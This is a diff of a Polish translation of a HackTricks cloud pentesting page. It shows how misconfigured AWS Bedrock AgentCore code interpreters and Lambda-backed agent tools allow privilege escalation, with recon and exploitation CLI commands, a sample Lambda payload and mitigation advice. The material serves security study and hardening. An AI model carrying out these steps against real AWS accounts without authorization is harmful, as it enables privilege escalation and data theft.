mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -6,32 +6,32 @@
|
|||||||
|
|
||||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||||
|
|
||||||
AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** mogą być skonfigurowane z **`executionRoleArn`**, który „zapewnia uprawnienia interpreterowi kodu do dostępu do usług AWS”.
|
AgentCore Code Interpreter to zarządzane środowisko wykonawcze. **Custom Code Interpreters** mogą być skonfigurowane z **`executionRoleArn`**, które „provides permissions for the code interpreter to access AWS services”.
|
||||||
|
|
||||||
Jeżeli **lower-privileged IAM principal** może **start + invoke** sesję Code Interpreter skonfigurowaną z **bardziej uprzywilejowaną execution role**, wywołujący może skutecznie **pivot into the execution role’s permissions** (ruch boczny / eskalacja uprawnień w zależności od zakresu roli).
|
Jeśli **lower-privileged IAM principal** może **start + invoke** sesję Code Interpreter skonfigurowaną z **more privileged execution role**, wywołujący może skutecznie **pivot into the execution role’s permissions** (lateral movement / privilege escalation zależnie od zakresu roli).
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Zwykle jest to problem **błędnej konfiguracji / nadmiernych uprawnień** (nadawanie szerokich uprawnień roli wykonawczej interpretera i/lub udzielanie szerokiego dostępu do invoke).
|
> Zwykle jest to problem **misconfiguration / excessive permissions** (nadawanie szerokich uprawnień execution role interpretera i/lub szerokiego dostępu do invoke).
|
||||||
> AWS wyraźnie ostrzega, aby unikać eskalacji uprawnień poprzez zapewnienie, że execution roles mają **równe lub mniejsze** uprawnienia niż tożsamości uprawnione do invoke.
|
> AWS explicitly warns to avoid privilege escalation by ensuring execution roles have **equal or fewer** privileges than identities allowed to invoke.
|
||||||
|
|
||||||
#### Warunki wstępne (częsta błędna konfiguracja)
|
#### Preconditions (common misconfiguration)
|
||||||
|
|
||||||
- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **execution role** (np. dostęp do wrażliwych S3/Secrets/SSM lub możliwości podobnych do IAM-admin).
|
- Istnieje **custom code interpreter** z nadmiernie uprzywilejowaną **execution role** (np. access do wrażliwego S3/Secrets/SSM lub możliwości podobne do IAM-admin).
|
||||||
- Użytkownik (developer/auditor/CI identity) ma uprawnienia do:
|
- Użytkownik (developer/auditor/CI identity) ma permissions do:
|
||||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||||
- (Opcjonalnie) Użytkownik może także tworzyć interpretery: `bedrock-agentcore:CreateCodeInterpreter` (pozwala to na utworzenie nowego interpretera skonfigurowanego z execution role, w zależności od ograniczeń organizacyjnych).
|
- (Optional) Użytkownik może też tworzyć interpreters: `bedrock-agentcore:CreateCodeInterpreter` (pozwala utworzyć nowy interpreter skonfigurowany z execution role, zależnie od org guardrails).
|
||||||
|
|
||||||
#### Recon (identify custom interpreters and execution role usage)
|
#### Recon (identify custom interpreters and execution role usage)
|
||||||
|
|
||||||
Wypisz interpretery (control-plane) i sprawdź ich konfigurację:
|
List interpreters (control-plane) i sprawdź ich configuration:
|
||||||
```bash
|
```bash
|
||||||
aws bedrock-agentcore-control list-code-interpreters
|
aws bedrock-agentcore-control list-code-interpreters
|
||||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||||
````
|
```
|
||||||
> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, które definiuje, jakie uprawnienia AWS będzie miał interpreter.
|
> Polecenie create-code-interpreter obsługuje `--execution-role-arn`, które definiuje, jakie uprawnienia AWS będzie mieć interpreter.
|
||||||
|
|
||||||
#### Krok 1 - Rozpocznij sesję (zwraca `sessionId`, nie interactive shell)
|
#### Krok 1 - Uruchom sesję (to zwraca `sessionId`, a nie interaktywną powłokę)
|
||||||
```bash
|
```bash
|
||||||
SESSION_ID=$(
|
SESSION_ID=$(
|
||||||
aws bedrock-agentcore start-code-interpreter-session \
|
aws bedrock-agentcore start-code-interpreter-session \
|
||||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
|||||||
|
|
||||||
echo "SessionId: $SESSION_ID"
|
echo "SessionId: $SESSION_ID"
|
||||||
```
|
```
|
||||||
#### Krok 2 - Uruchomienie wykonania kodu (Boto3 lub signed HTTPS)
|
#### Krok 2 - Invoke code execution (Boto3 or signed HTTPS)
|
||||||
|
|
||||||
Nie ma **interaktywnej powłoki Pythona** z `start-code-interpreter-session`. Wykonanie odbywa się przez **InvokeCodeInterpreter**.
|
Nie ma **interaktywnej powłoki python** z `start-code-interpreter-session`. Wykonywanie odbywa się przez **InvokeCodeInterpreter**.
|
||||||
|
|
||||||
**Opcja A - przykład Boto3 (wykonanie kodu w Pythonie + weryfikacja tożsamości):**
|
**Opcja A - przykład Boto3 (wykonaj Python + zweryfikuj tożsamość):**
|
||||||
```python
|
```python
|
||||||
import boto3
|
import boto3
|
||||||
|
|
||||||
@@ -68,9 +68,9 @@ arguments={
|
|||||||
for event in resp.get("stream", []):
|
for event in resp.get("stream", []):
|
||||||
print(event)
|
print(event)
|
||||||
```
|
```
|
||||||
Jeśli interpreter jest skonfigurowany z execution role, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie low-priv caller), demonstrując pivot.
|
Jeśli interpreter jest skonfigurowany z execution role, wynik `sts:GetCallerIdentity()` powinien odzwierciedlać tożsamość tej roli (a nie low-priv caller), pokazując pivot.
|
||||||
|
|
||||||
**Opcja B - Podpisane wywołanie HTTPS (awscurl):**
|
**Option B - Signed HTTPS call (awscurl):**
|
||||||
```bash
|
```bash
|
||||||
awscurl -X POST \
|
awscurl -X POST \
|
||||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||||
@@ -87,18 +87,86 @@ awscurl -X POST \
|
|||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
#### Wpływ
|
#### Impact
|
||||||
|
|
||||||
* **Lateral movement** do dowolnego dostępu w AWS, jaki posiada rola wykonawcza interpretera.
|
* **Lateral movement** do dowolnego AWS access, jaki ma role execution interpretera.
|
||||||
* **Privilege escalation** jeśli rola wykonawcza interpretera ma wyższe uprawnienia niż wywołujący.
|
* **Privilege escalation** jeśli role execution interpretera ma większe uprawnienia niż caller.
|
||||||
* Trudniejsze wykrywanie, jeśli CloudTrail data events dla wywołań interpretera nie są włączone (wywołania mogą nie być logowane domyślnie, w zależności od konfiguracji).
|
* Trudniejsze wykrycie, jeśli CloudTrail data events dla invocations interpretera nie są włączone (invocations mogą nie być logowane domyślnie, zależnie od konfiguracji).
|
||||||
|
|
||||||
#### Mitigations / Hardening
|
#### Mitigations / Hardening
|
||||||
|
|
||||||
* **Least privilege** dla `executionRoleArn` interpretera (traktuj to jak role wykonawcze Lambda / role CI).
|
* **Least privilege** dla interpretera `executionRoleArn` (traktuj to jak Lambda execution roles / CI roles).
|
||||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może rozpoczynać sesje.
|
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i kto może startować sessions.
|
||||||
* Użyj **SCPs** aby zabronić InvokeCodeInterpreter z wyjątkiem zatwierdzonych agent runtime roles (może być konieczne egzekwowanie na poziomie organizacji).
|
* Używaj **SCPs** do deny InvokeCodeInterpreter poza zatwierdzonymi agent runtime roles (egzekwowanie na poziomie org może być konieczne).
|
||||||
* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; ustaw alerty dla nieoczekiwanych wywołań i tworzenia sesji.
|
* Włącz odpowiednie **CloudTrail data events** dla AgentCore tam, gdzie to ma zastosowanie; ustaw alerty na nieoczekiwane invocations i tworzenie sessions.
|
||||||
|
|
||||||
|
## Amazon Bedrock Agents
|
||||||
|
|
||||||
|
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
|
||||||
|
|
||||||
|
Bedrock Agents mogą używać **Lambda-backed action groups** jako tools (external execution). Jeśli principal może **zmodyfikować code funkcji Lambda używanej przez agenta**, a następnie może **invoke agenta**, może wykonać code kontrolowany przez attacker-a w ramach **Lambda execution role**.
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> To jest **cross-service trust abuse** (Bedrock → Lambda), a nie vulnerability. Attacker może nie być w stanie invoke Lambda bezpośrednio, ale nadal może wywołać ją przez agenta.
|
||||||
|
|
||||||
|
#### Preconditions (common misconfiguration)
|
||||||
|
|
||||||
|
- Istnieje Bedrock Agent z **action group wspieranym przez funkcję Lambda**
|
||||||
|
- Attacker ma:
|
||||||
|
- `lambda:UpdateFunctionCode`
|
||||||
|
- `bedrock:InvokeAgent`
|
||||||
|
- Lambda execution role ma szersze permissions niż attacker
|
||||||
|
- Attacker potrafi zidentyfikować Lambda używaną przez agenta
|
||||||
|
|
||||||
|
#### Recon
|
||||||
|
|
||||||
|
Wylicz action groups agenta:
|
||||||
|
```bash
|
||||||
|
aws bedrock-agent list-agents
|
||||||
|
aws bedrock-agent get-agent --agent-id <AGENT_ID>
|
||||||
|
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
|
||||||
|
```
|
||||||
|
Inspect Lambda:
|
||||||
|
```bash
|
||||||
|
aws lambda get-function --function-name <FUNCTION_NAME>
|
||||||
|
```
|
||||||
|
#### Eksploatacja
|
||||||
|
|
||||||
|
Replace Lambda code:
|
||||||
|
```bash
|
||||||
|
zip payload.zip lambda_function.py
|
||||||
|
|
||||||
|
aws lambda update-function-code \
|
||||||
|
--function-name <FUNCTION_NAME> \
|
||||||
|
--zip-file fileb://payload.zip
|
||||||
|
```
|
||||||
|
Przykładowy payload:
|
||||||
|
```python
|
||||||
|
import boto3
|
||||||
|
|
||||||
|
def lambda_handler(event, context):
|
||||||
|
return boto3.client("sts").get_caller_identity()
|
||||||
|
```
|
||||||
|
Trigger via agent:
|
||||||
|
```bash
|
||||||
|
aws bedrock-agent-runtime invoke-agent \
|
||||||
|
--agent-id <AGENT_ID> \
|
||||||
|
--agent-alias-id <ALIAS_ID> \
|
||||||
|
--session-id test \
|
||||||
|
--input-text "trigger tool"
|
||||||
|
```
|
||||||
|
#### Wpływ
|
||||||
|
|
||||||
|
* **Privilege escalation** do roli wykonawczej Lambda
|
||||||
|
* **Data exfiltration** z usług AWS
|
||||||
|
* **Cross-service abuse** poprzez zaufane wykonanie agenta
|
||||||
|
|
||||||
|
#### Mitigations
|
||||||
|
|
||||||
|
* **Ogranicz** `lambda:UpdateFunctionCode`
|
||||||
|
* Używaj ról Lambda z **least-privilege**
|
||||||
|
* **Monitoruj** zmiany kodu Lambda
|
||||||
|
* **Audytuj** użycie narzędzi agenta Bedrock
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
@@ -108,6 +176,7 @@ awscurl -X POST \
|
|||||||
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
|
||||||
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
|
||||||
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
|
||||||
|
- [SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)](https://www.softwaresecured.com/post/aws-privilege-escalation-iam-risks-service-based-attacks-and-new-ai-driven-bedrock-agentcore-vectors)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user